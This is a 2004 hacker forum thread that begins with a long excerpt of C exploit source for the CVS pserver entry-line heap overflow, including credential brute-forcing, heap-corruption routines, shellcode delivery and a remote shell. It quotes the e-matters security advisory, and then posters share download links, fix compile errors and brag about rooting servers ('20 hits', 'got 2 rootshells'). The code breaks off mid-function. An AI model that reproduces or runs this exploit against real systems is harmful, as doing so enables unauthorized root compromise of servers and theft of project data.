                   pass = strdup(optarg);
                   break;
               case 'h':
                   host = strdup(optarg);
                   break;
               case 'P':
                   port = strtoul(optarg, 0, 0);
                   break;
               case 'o':
                   heapbase = strtoul(optarg, 0, 0);
                   break;
               case 'n':
                   scnum = strtoul(optarg, 0, 0);
                   break;
               default:
                   usage(av[0]);
               }
       }
   if (!host || (detectos && isbsd))
       usage(av[0]);
   if (!root)
       if(!brute_cvsroot())
           QUIT(ERR_CVSROOT);
   if (!user)
       if(!brute_username())
           QUIT(ERR_USERNAME);
   if (!pass)
       if(!brute_password())
           QUIT(ERR_PASSWORD);
   do_xploit();
   return (0);
}

void                    do_xploit(void)
{
   int                 linux_only = 0;

   signal(SIGPIPE, hdl_crashed);
   if (detectos)
       linux_only = detect_remote_os();
   if (isbsd)
       bsd_exploitation();
   else
       {
           linux_exploitation(LINUX_ADDR, LINUX_SIZE);
           if (!linux_only)
               bsd_exploitation();
       }
   printf(ERR_FAILURE);
   return;
}

int                     detect_remote_os(void)
{
   info("Guessing if remote is a cvs on a linux/x86...\t");
   if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
      !range_crashed(0x42424242, 0x42424242 + 4))
       {
           printf(VERT"NO"NORM", assuming it's *BSD\n");
           isbsd = 1;
           return (0);
       }
   printf(VERT"Yes"NORM" !\n");
   return (1);
}

void                    bsd_exploitation(void)
{
   printf("Exploiting %s on a *BSD\t", host);
   do_auth();
   fill_holes();
   evil_entry();
   start_gzip();
   try_exploit();
}

void                    linux_exploitation(ulong addr, int sz)
{
   char                * buf;

   printf("Exploiting %s on a Linux\t", host);
   cvs_conn();
   fflush(stdout);
   memcpy_addr(addr, SHELLCODE_ADDR, sz);
   memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
                 sizeof(ab_shellcode) - 1);
   memcpy_flush();
   nprintf(CVS_FLUSH);
   buf = flush_sock();
   if (strstr(buf, MAGICSTRING))
       {
           printf(EXPLOITROX);
           sh(sock);
       }
#ifdef SHITTEST
   sleep(333);
#endif
   nclose();
   info(BAD_TRIP);
}

int                     do_auth(void)
{
   char                * your_mind;

   nopen(host, port);
   nprintf(CVS_LOGIN, root, user, scramble(pass));
   your_mind = flush_sock();
   if (!strstr(your_mind, CVS_AUTH_SUCCESS))
       QUIT(ERR_AUTHFAILED);
   free(your_mind);
   nprintf(CVS_SEND_ROOT, root);
}

void                    fill_heap(void)
{
   int                 c;

   for (c = 0; c != MAX_FILL_HEAP; c++)
       nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
               "CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n");
   for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
       nprintf(CVSENTRY"CC/CC/CC\n");
}

void                    cvs_conn(void)
{
   do_auth();
   fill_heap();
}

char                    * get_dummy(void)
{
   static char         buf[2048] = { '\0' };

   memset(buf, '\0', sizeof(buf));
   sprintf(buf, CVSENTRY"B%s/", DUMMY2);
   memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
   strcat(buf, "/\n");
   return (&buf[0]);
}

char                    * build_chunk(ulong addr1, ulong addr2, int i)
{
   char                num[20];
   char                * buf = get_dummy();

   if (i != -1)
       {
           sprintf(num, "%d", i);
           memcpy(buf + NUM_OFF7, num, strlen(num));
       }
   *(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
   *(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
   *(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
   return (buf);
}

void                    memcpy_flush(void)
{
   int                 i = 0, j;
   char                * buf;
   char                num[20];

   if (!cur_num)
       return;
   buf = get_dummy();
   for (i = 0; i != cur_num - 1; i++)
       {
           sprintf(buf, CVS_ISMOD"%s\n", DUMMY2);
           sprintf(num, "%d", i);
           memcpy(buf + CVS_ISMODSZ, num, strlen(num));
           for (j = 0; j != OVERFLOW_NUM; j++)
               nprintf(buf);
       }
   return;
}

void                    memcpy_remote(ulong range, ulong addr, uchar * buf,
                                     int sz)
{
   int                 i;

   if (sz <= 0)
       return;
   if (!cur_num)
       nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
   for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
       {
           range &= 0xFFFFFF00;
           range += buf[i];
           if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
               nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
       }
   return;
}

void                    memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
   int                 aff = (sz / 4) / PCNT, j;

   if (!cur_num)
       nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
   putchar('[');
   for (j = 0; j != PCNT; j++)
       putchar(' ');
   putchar(']');
   for (j = 0; j != PCNT + 1; j++)
       putchar('\b');
   fflush(stdout);
   for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
       {
           if (j == aff)
               {
                   putchar('#');
                   fflush(stdout);
                   j = 0;
               }
           if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
               nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
       }
   printf("#\t");
   fflush(stdout);
   return;
}

int                     range_crashed(int addr, int addr2)
{
   char                * buf;

   cvs_conn();
   nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
   for (; addr < addr2; addr += 8)
       if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
           nprintf(build_chunk(addr, addr + 4, cur_num++));
   memcpy_flush();
   nprintf(CVS_FLUSH);
   buf = flush_sock();
   if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
       || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
       {
           nclose();
           return (0);
       }
#ifdef SHITTEST
   sleep(333);
#endif
   nclose();
   return (1);
}

void                    zflush(int finish)
{
   static char         outbuf[65536];

   zout.next_in = zbuf;
   zout.avail_in = zbufpos;
   do {
       zout.next_out = outbuf;
       zout.avail_out = sizeof(outbuf);
       if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
           QUIT("zflush : deflate failed !\n");
       zsent += sizeof(outbuf) - zout.avail_out;
       write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
   } while (zout.avail_out == 0 && zout.avail_in != 0);
   zbufpos = 0;
   return;
}

int                     zprintf(char *fmt, ...)
{
   static char         buf[65536];
   int                 len;
   va_list             ap;

   va_start(ap, fmt);
   len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
   usent += len;
   if ((sizeof(zbuf) - zbufpos) < (len))
       zflush(0);
   memcpy(zbuf + zbufpos, buf, len);
   zbufpos += len;
   if (zbufpos >= sizeof(zbuf))
       QUIT(ERR_ZPRINTF);
   return (len);
}

int                     zgetch(void)
{
   static char         * outbuf = NULL;
   static int          outpos = 0, outlen = 0;
   static char         rcvbuf[32768];
   static char         dbuf[4096];
   int                 got;

 retry:
   if (outpos < outlen && outlen)
       return outbuf[outpos++];
   free(outbuf);
   outlen = 0;
   outbuf = NULL;
   got = read_sock(rcvbuf, sizeof(rcvbuf));
   if (got <= 0)
       QUIT(ERR_READSOCK);
   zin.next_in = rcvbuf;
   zin.avail_in = got;
   while (1)
       {
           int status, dlen;

           zin.next_out = dbuf;
           zin.avail_out = sizeof(dbuf);
           status = inflate(&zin, Z_PARTIAL_FLUSH);
           switch (status)
               {
               case Z_OK:
                   outpos = 0;
                   dlen = sizeof(dbuf) - zin.avail_out;
                   outlen += dlen;
                   outbuf = realloc(outbuf, outlen);
                   memcpy(outbuf + outlen - dlen, dbuf, dlen);
                   break;
               case Z_BUF_ERROR:
                   goto retry;
               default:
                   QUIT(ERR_INFLATE);
               }
       }
}

char                    * zgets(void)
{
   static char         buf[32768];
   char                * p = buf;
   int                 c;

   while (1)
       {
           c = zgetch();
           if (c == '\n')
               break;
           *p++ = c;
           if (p > buf + sizeof(buf))
               {
                   p--;
                   break;
               }
       }
   *p = 0;
   return (buf);
}

void                    start_gzip(void)
{
   nprintf(CVS_GZIP"1\n");
   deflateInit(&zout, 9);
   inflateInit(&zin);
   return;
}

void                    fill_holes(void)
{
   int i, j;

   for (i = 0; i < 10; i++)
       nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
   for (i = 0; i < 10; i++)
       nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
   for (i = 0; i < NHOLES; i++)
       {
           nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
           for (j = 0; j < 5; j++)
               nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11);
       }
   nprintf("Set x=%472X\n", 10);
   return;
}

void                    evil_entry(void)
{
   int                 i;
   ulong               heap = heapbase;

   nprintf("Set x=\n");
   nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
           "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
           heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
           heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
           heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
           heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24));
}

void                    try_exploit(void)
{
   time_t              last, now;
   int                 i, j, len, o;
   static char         sc[SCSIZE+1];

   for (i = 0; i < OFFSET; i++)
       zprintf(CVS_ISMOD"AB\n");
   printf("[", SCSIZE * scnum / 1024);
   for (i = 0; i < PCNT; i++)
       putchar(' ');
   printf("]");
   for (i = 0; i < PCNT + 1; i++)
       printf("\b");
   memset(sc, 'A', SCSIZE);
   memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
          sizeof(xx_shellcode));
   sc[SCSIZE] = 0;
   last = o = 0;
   for (i = 0; i < scnum; i++)
       {
           now = time(NULL);
           if (now > last || (i + 1 == scnum))
               {
                   last = now;
                   for (j = 0; j < o; j++)
                       printf("\b");
                   for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
                       printf("#");
               }
           zprintf(CVSENTRY"%s\n", sc);
       }
   printf("] ");
   zflush(0);
   zflush(1);
   len = read_sock(sc, sizeof(sc));
   for (i = 0; i < len; i++)
       if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ))
           {
               printf(EXPLOITROX);
               sh(sock);
           }
   printf(BAD_TRIP);
}

int                     brute_cvsroot(void)
{
   int                 i, ret = 0;
   char                * rbuf;

   info("Bruteforcing cvsroot...\n");
   for (i = 0; CVSROOTS[i].name; i++)
       {
           nopen(host, port);
           nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY));
           info("Trying CVSROOT = %s\t", CVSROOTS[i].name);
           rbuf = flush_sock();
           nclose();
           if (!rbuf || strstr(rbuf, CVS_BAD_REP))
               info(BAD_TRIP);
           else if (strstr(rbuf, CVS_AUTH_FAILED) ||
                    strstr(rbuf, CVS_AUTH_SUCCESS) ||
                    strstr(rbuf, CVS_NO_USER))
               {
                   info(GOOD_TRIP);
                   CVSROOTS[i].id = i;
                   root = CVSROOTS[i].name;
                   if (user && pass)
                       {
                           free(rbuf);
                           return (1);
                       }
                   ret++;
               }
           else
               printf(BAD_TRIP);
           free(rbuf);
       }
   return (ret);
}

int                     brute_username(void)
{
   int                 i, c, ret = 0;
   char                * rbuf;

   info("Bruteforcing cvs login... \n");
   for (c = 0; CVSROOTS[c].name; c++)
       {
           if (!root && CVSROOTS[c].id == -1) continue;
           for ( i=0; USERNAMES[i].name; i++ )
               {
                   if (root)
                       CVSROOTS[c].name = root;
                   info("Trying cvsroot = %s, login = %s\t", CVSROOTS[c].name,
                        USERNAMES[i].name);
                   nopen(host, port);
                   nprintf(CVS_VERIF, CVSROOTS[c].name, USERNAMES[i].name,
                           scramble(DUMMY));
                   rbuf = flush_sock();
                   nclose();
                   if ( strstr( rbuf, CVS_NO_USER))
                       info( BAD_TRIP, rbuf );
                   else if (strstr( rbuf, CVS_AUTH_FAILED) ||
                       strstr(rbuf, CVS_AUTH_SUCCESS))
                       {
                           info(GOOD_TRIP);
                           USERNAMES[i].id = CVSROOTS[c].id;
                           user = USERNAMES[i].name;
                           if (pass)
                               {
                                   free(rbuf);
                                   return (1);
                               }
                           ret++;
                       }
                   free(rbuf);
               }
           if (root)
               return (ret);
       }
   return (ret);
}

int                     brute_password(void)
{
   int                 i, c, ret=0;
   char                * rbuf;

   info("Bruteforcing cvs password...\n");
   for (c = 0; USERNAMES[c].name; c++)
       {
           if (!user && USERNAMES[c].id == -1) continue;
           for (i = 0; PASSWORDS[i].name; i++)
               {
                   info("Trying login = %s, pass = %s\t", user?user:USERNAMES[c].name,
                        PASSWORDS[i].name);
                   nopen(host, port);
                   nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name,
                           user?user:USERNAMES[c].name, scramble(PASSWORDS[i].name) );
                   rbuf = flush_sock();
                   nclose();
                   if (strstr(rbuf, CVS_AUTH_FAILED))
                       info(BAD_TRIP, rbuf);
                   else if (strstr(rbuf, CVS_AUTH_SUCCESS))
                       {
                           info(GOOD_TRIP);
                           if (!root)
                               root = CVSROOTS[ USERNAMES[c].id ].name;
                           if (!user)
                               user = USERNAMES[c].name;
                           pass = PASSWORDS[i].name;
                           free(rbuf);
                           printf(SUCCESS_LOGON, user, pass, root);
                           return (1);
                       }
                   else
                       info(BAD_TRIP);
                   free(rbuf);
               }
           if (user)
               return (0);
       }
   return (0);
}

void                    hdl_crashed(int signum)
{
   return;
}

int                     write_sock(void * buf, int sz)
{
   fd_set              wfds;
   struct timeval      tv;
   int                 ret;

   if (sz <= 0)
       return (sz);
   FD_ZERO(&wfds);
   FD_SET(sock, &wfds);
   bzero(&tv, sizeof (tv));
   tv.tv_sec = timeout;
   tv.tv_usec = 0;
   while (select(sock + 1, NULL, &wfds, NULL, &tv) <= 0)
       {
           FD_ZERO(&wfds);
           FD_SET(sock, &wfds);
           tv.tv_sec = timeout;
           tv.tv_usec = 0;
       }
   if ((ret = write(sock, buf, sz)) != sz)
       QUIT(ERR_WRITESOCK);
   return (ret);
}

int                     read_sock(void * buf, int sz)
{
   fd_set              rd;
   struct timeval      tv;
   int                 ret;

   FD_ZERO(&rd);
   FD_SET(sock, &rd);
   bzero(&tv, sizeof (tv));
   tv.tv_sec = timeout;
   tv.tv_usec = ret = 0;
   if (select(sock + 1, &rd, NULL, NULL, &tv) <= 0)
       QUIT(ERR_READSOCK);
   if ((ret = read(sock, buf, sz)) <= 0)
   return (ret);
}

char                    * flush_sock(void)
{
   char        * ret;
   int         len, y, i = 0;
   fd_set              rfds;
   struct timeval      tv;

   FD_ZERO(&rfds);
   FD_SET(sock, &rfds);
   bzero(&tv, sizeof (tv));
   tv.tv_sec = timeout;
   tv.tv_usec = 0;
#define BUF_SIZE        42
   ret = malloc((len = BUF_SIZE));
   if (select(sock + 1, &rfds, NULL, NULL, &tv) < 0)
       return ("");
   while ((y = read(sock, ret + i, BUF_SIZE)) > 0)
       {
           i += y;
           ret = realloc(ret, (len += BUF_SIZE));
       }
   if (i == len)
       realloc(ret, len + 1);
   ret[i] = 0;
   return (ret);
}

long                    getip(char * hostname)
{
   struct hostent * p_hostent;
   long ipaddr;

   ipaddr = inet_addr( hostname );
&
Gurou
2001 ???? blink.gif
brOmstar
long time private i think the code is from packetstorm today
stonebreaker
i cannt compile it neither linux nor cgywin
Gurou
yes published today on k-otik blink.gif
brOmstar
here are some details


From: Stefan Esser <s.esser_@_e-matters.de>
Date: 19 мая 2004 г.
Subject: Advisory 07/2004: CVS remote vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

e-matters GmbH
www.e-matters.de

-= Security Advisory =-



Advisory: CVS remote vulnerability
Release Date: 2004/05/19
Last Modified: 2004/05/19
Author: Stefan Esser [s.esser@e-matters.de]

Application: CVS feature release <= 1.12.7
CVS stable release <= 1.11.15
Severity: A vulnerability within CVS allows remote compromise of
CVS servers.
Risk: Critical
Vendor Status: Vendor is releasing a bugfixed version.
Reference: http://security.e-matters.de/advisories/072004.html


Overview:


Concurrent Versions System (CVS) is the dominant open-source version
control software that allows developers to access the latest code using
a network connection.

Stable CVS releases up to 1.11.15 and CVS feature releases up to 1.12.7
both contain a flaw when deciding if a CVS entry line should get a
modified or unchanged flag attached. This results in a heap overflow
which can be exploited to execute arbitrary code on the CVS server.
This could allow a repository compromise.


Details:

While auditing the CVS source a flaw within the handling of modified
and unchanged flag insertion into entry lines was discovered.

When the client sends an entry line to the server an additional byte
is allocated to have enough space for later flagging the entry as
modified or unchanged. In both cases the check if such a flag is
already attached is flawed. This allows to insert M or = chars into
the middle of a user supplied string one by one for every call to
one of these functions.

It should be obvious that already the second call could possibly
overflow the allocated buffer by shifting the part after the
insertion point one char backward. If the alignment of the block
is choosen wisely this is already exploitable by malloc() off-by-one
exploitation techniques. However carefully crafted commands allow
the functions to be called several times to overwrite even more
bytes (although this is not really needed if you want to exploit
this bug on f.e. glibc based systems).
Alien
brOmstar can you attach this code at .txt or other ?

the code is too long on post
CODE

ipaddr = inet_addr( hostname );
&

and thats all

thanks
Gurou
CVS Remote Entry Line Heap Overflow Root Exploit (Solaris)

http://www.k-otik.com/exploits/05212004.CVS_Solaris.c.php

CVS Remote Entry Line Heap Overflow Root Exploit (Linux/FreeBSD)

http://www.k-otik.com/exploits/05212004.CVS_Linux.c.php
brOmstar
can someone tell me how to install the zlib on redhat because i get some errors during the compiling process...and i read that this should be the reason
Alien
CODE

$ gcc test.c -o cvslinux
/tmp/cc72VSwT.o(.text+0x10a2): In function `zflush':
: undefined reference to `deflate'
/tmp/cc72VSwT.o(.text+0x1285): In function `zgetch':
: undefined reference to `inflate'
/tmp/cc72VSwT.o(.text+0x13cd): In function `start_gzip':
: undefined reference to `deflateInit_'
/tmp/cc72VSwT.o(.text+0x13e9): In function `start_gzip':
: undefined reference to `inflateInit_'
collect2: ld returned 1 exit status

on my debian box :[
F34R
good stuff... thanks for the sploit smile.gif
seppel18
How to compile this on cygwin? blink.gif
brOmstar
k both version compiled ..had anyOne success with one of them?
jimmy
which is the right command to compile it ?
I tried it on redhat and on cygwin
both gave me problems
perhaps I need to link something
anyone knows the right command ?
I tried gcc -o cvs cvs.c
btw zlib package is installed

gcc cvs.c
/tmp/ccI2tSlS.o(.text+0x1092): In function `zflush':
: undefined reference to `deflate'
/tmp/ccI2tSlS.o(.text+0x1273): In function `zgetch':
: undefined reference to `inflate'
/tmp/ccI2tSlS.o(.text+0x13af): In function `start_gzip':
: undefined reference to `deflateInit_'
/tmp/ccI2tSlS.o(.text+0x13c6): In function `start_gzip':
: undefined reference to `inflateInit_'
collect2: ld returned 1 exit status
incitatus
try this: gcc cvs_linux_freebsd_HEAP.c -o cvs -lz
strasharo
QUOTE (brOmstar @ May 21 2004, 11:23 PM)
k both version compiled ..had anyOne success with one of them?

Yep, 20 hits with the Linux version, works like hell. smile.gif
Killaloop
I'm just glad that we run this chrooted so this exploit hasn't had any chance. shouldn't that be the recommended setting for such an installation chrooted over ssh and all is fine. 3 years private ... don't want to imagine what would have happened if someone would have stolen some of our project data ..
Stevy
it works got 2 rootshells wink.gif
jimmy
you guys just tried exploit.exe -h target_ip ?
I see what all other options are, but not quite sure if I need to use them or not
migo
please guys
any one post a compiled win32 version for linux

much appreciated
Paul
i got this in linux using gcc
QUOTE
knoppix@ttyp2[exploits]$ gcc exploit.c -o exploit -lz
exploit.c:941:3: warning: no newline at end of file
exploit.c: In function `getip':
exploit.c:941: error: parse error at end of input
knoppix@ttyp2[exploits]$
DarkAngel52457
Hello i have found many vuln server when i start the cvs exploit

./cvc -h *.*.*.* -p 2401 the exploit startet

Ac1dB1tCh3z ©VS linux/*BSD pserver
Bruteforcing cvsroot...
Trying CVSROOT = /cvs FOUND !
Trying CVSROOT = /cvsroot FOUND !
Trying CVSROOT = /var/cvs FOUND !
Trying CVSROOT = /anoncvs FOUND !
Trying CVSROOT = /repository FOUND !
Trying CVSROOT = /home/CVS FOUND !
Trying CVSROOT = /home/cvspublic FOUND !
Trying CVSROOT = /home/cvsroot FOUND !
Trying CVSROOT = /var/lib/cvs FOUND !
Trying CVSROOT = /var/cvsroot FOUND !
Trying CVSROOT = /usr/lib/cvs FOUND !
Trying CVSROOT = /usr/CVSroot FOUND !
Trying CVSROOT = /usr/share/cvsroot FOUND !
Trying CVSROOT = /usr/local/cvsroot FOUND !
Trying CVSROOT = /usr/local/cvs FOUND !
Trying CVSROOT = /webcvs FOUND !
Bruteforcing cvs login...
Trying cvsroot = /webcvs, login = anonymous FOUND !
Exploiting *.*.*.* on a Linux Fatal: authentification failure..

and then close the conection and i become nothing shells i have tested on many server. mad.gif mad.gif

what is this for a prob can help me

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.